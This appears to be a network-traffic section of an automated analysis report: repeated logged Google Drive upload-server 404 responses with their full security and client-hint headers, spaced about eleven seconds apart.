Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:04:54 GMTContent-Security-Policy: script-src 'nonce-ZWCLr7XKLGW4va_yB5twHA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5Z-QIukitg_Etj8K5EQRQqD8Py4uWAIGJ7iazhkSELJ7OndcfAmYvMrF6O2vOSc8wYf16Lg0XpqgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:05:05 GMTContent-Security-Policy: script-src 'nonce-mXI6D9fuzwTjOamT_f25Mw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5ha9xwpAGxrF9AObB47bH3WAIOg5Dd4kjUqHgAI8dpB3bPp8hJh8_xpLuWp-VySRfzavYgkXhgxgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:05:16 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-7USCs70f41WRI35N-mWk4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652X-GUploader-UploadID: AFiumC6qHkYESejmC0ulNAWyaT_t8XcQjCkB0xlVhRyBRpRN0R5KmXQ1crZPTUsJ3Heuv9hamgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:05:27 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-1_3vcwjgMho-ygVstGkFxw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC52Tl_ttFYP4gDCv83-FtwoQuinsDNQ3GdMzGFJXtSxcBWC159WHpfjYuwadzqPbCQwmc4QFe5gPAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:05:38 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-F58rQQX3wQf1Sb5v-CAd6g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652X-GUploader-UploadID: AFiumC4JnoAhu0c9FvuTKN8n48KKwWEE0s7jCWS2h8TNfETV2BpQF2jSmwbKWCJ0yKmDundOBN_33ttGaAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:05:50 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-bqye9HMrsU07fFaF5gJCsw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC43XaxlFqyVA6M2XyBvZI-18sVr_4K1WPuRpYXcq1cXD0RwaWHXuAYjpcX2gJDjHaAlK1l-bT25HAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:06:01 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-i-HzHjzfENGb9z2j9QZMjA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC61E3qxaDeVNEsvXIHsiQHj78gIg4qxQweaHiarS-ubhhtCQEztpuSFvLjHQ_zrlX-yfpyB81GxRAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:06:12 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-T30503VURgHNMWOuDA9ZmQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652X-GUploader-UploadID: AFiumC4XmtXROYDrJAf5wxMMa53vWiWT9Fc0J9pfjHiSgmtxM8-oGbAnr9zHDWE238S6tlEP-0kServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:06:23 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-EUGawtJepS0rmDvgeaVD2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5p3TfNqwhLQDGbtA9TdF8symRv-IxCZ_boh5nDwpUbP7zmyM6AdUoYnhwb75WzVYl6Q84Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:06:34 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-kRnWbVoZtDj_hH9UADMkqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652X-GUploader-UploadID: AFiumC5tl8ZQ-ipRAcWHtwDeHNhqTXV9OGaIma6ipvk_pbjlNoVraoZKjAQ_YAJcMuZF7fgy0nlJx2ZmJgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:06:45 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-9iNSa6nnqSbIJLwkbGCOjA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC7gqIBTFdEzzed3t-As8R23MnUqxAe8k55HwSVR_dzHwjUKVmPtbLIybjWQUBMpVhLX1ZEServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:06:57 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-mpdCxqFwI6wT9LjjYOtFLQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC68Z4rZQZ20kE5TPpoDQc7C4kBJqHtzGsbVDtl2F2dmCkRhPoWvXsRw1-kOAGGRxybYGyfIn1BZigServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:07:08 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-Cf9GuY1UAhc79GxP6I_Czw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC6h-yGpyTBYgXE3_1WIVD4kuckgTHVGSxZ3ZxtAX7T6LGcOY_w8040ucy3hZ-JMiSjwyO7LweRRwwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:07:19 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-p4MEjeDn8eq7lz9hQjUC_w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652X-GUploader-UploadID: AFiumC4cutw_e6yuMkUxDL3Dm-QqjtqW3fJV2we6NAJx5JApZmdZUHFwgSXjmPodoOUeluqshdWG6CvSzAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 16:07:30 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-j8DlFE1tE1lSIpUz904DLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC6Hli5MpzbTyXPRUc50JhgdOIvYUTYXTvjQPOSyqVyxNTMSJPpa6KQ0sF1R9oOu8gRVAN4Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
